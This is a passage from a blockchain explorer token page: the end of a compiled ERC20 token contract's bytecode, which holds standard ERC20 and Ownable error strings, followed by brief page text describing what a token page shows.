9050565b6000612e02601d83613121565b9150612e0d8261350f565b602082019050919050565b6000612e25601f83613121565b9150612e3082613538565b602082019050919050565b6000612e48602083613121565b9150612e5382613561565b602082019050919050565b6000612e6b602583613121565b9150612e768261358a565b604082019050919050565b6000612e8e602483613121565b9150612e99826135d9565b604082019050919050565b6000612eb1602583613121565b9150612ebc82613628565b604082019050919050565b612ed081613254565b82525050565b612edf8161325e565b82525050565b6000612ef18284612d22565b915081905092915050565b6000602082019050612f116000830184612d04565b92915050565b6000602082019050612f2c6000830184612d13565b92915050565b60006020820190508181036000830152612f4c8184612d53565b905092915050565b60006020820190508181036000830152612f6d81612d8c565b9050919050565b60006020820190508181036000830152612f8d81612daf565b9050919050565b60006020820190508181036000830152612fad81612dd2565b9050919050565b60006020820190508181036000830152612fcd81612df5565b9050919050565b60006020820190508181036000830152612fed81612e18565b9050919050565b6000602082019050818103600083015261300d81612e3b565b9050919050565b6000602082019050818103600083015261302d81612e5e565b9050919050565b6000602082019050818103600083015261304d81612e81565b9050919050565b6000602082019050818103600083015261306d81612ea4565b9050919050565b60006020820190506130896000830184612ec7565b92915050565b60006020820190506130a46000830184612ed6565b92915050565b60006130b46130c5565b90506130c082826132df565b919050565b6000604051905090565b600067ffffffffffffffff8211156130ea576130e96133ce565b5b6130f382613411565b9050602081019050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061313d82613254565b915061314883613254565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317d5761317c613341565b5b828201905092915050565b600061319382613254565b915061319e83613254565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d7576131d6613341565b5b828202905092915050565b60006131ed82613254565b91506131f883613254565b92508282101561320b5761320a613341565b5b828203905092915050565b600061322182613234565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b8381101561329857808201518184015260208101905061327d565b838111156132a7576000848401525b50505050565b600060028204905060018216806132c557607f821691505b602082108114156132d9576132d861339f565b5b50919050565b6132e882613411565b810181811067ffffffffffffffff82111715613307576133066133ce565b5b80604052505050565b600061331b82613254565b915061332683613254565b92508261333657613335613370565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220657863656564732062616c616e636500600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61368081613216565b811461368b57600080fd5b50565b61369781613254565b81146136a257600080fd5b5056fea26469706673582212209f49c39efa6e0a9ea10e2623ce93a18c08241b66ed1b27f6a72d14de39cec49c64736f6c63430008060033

Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.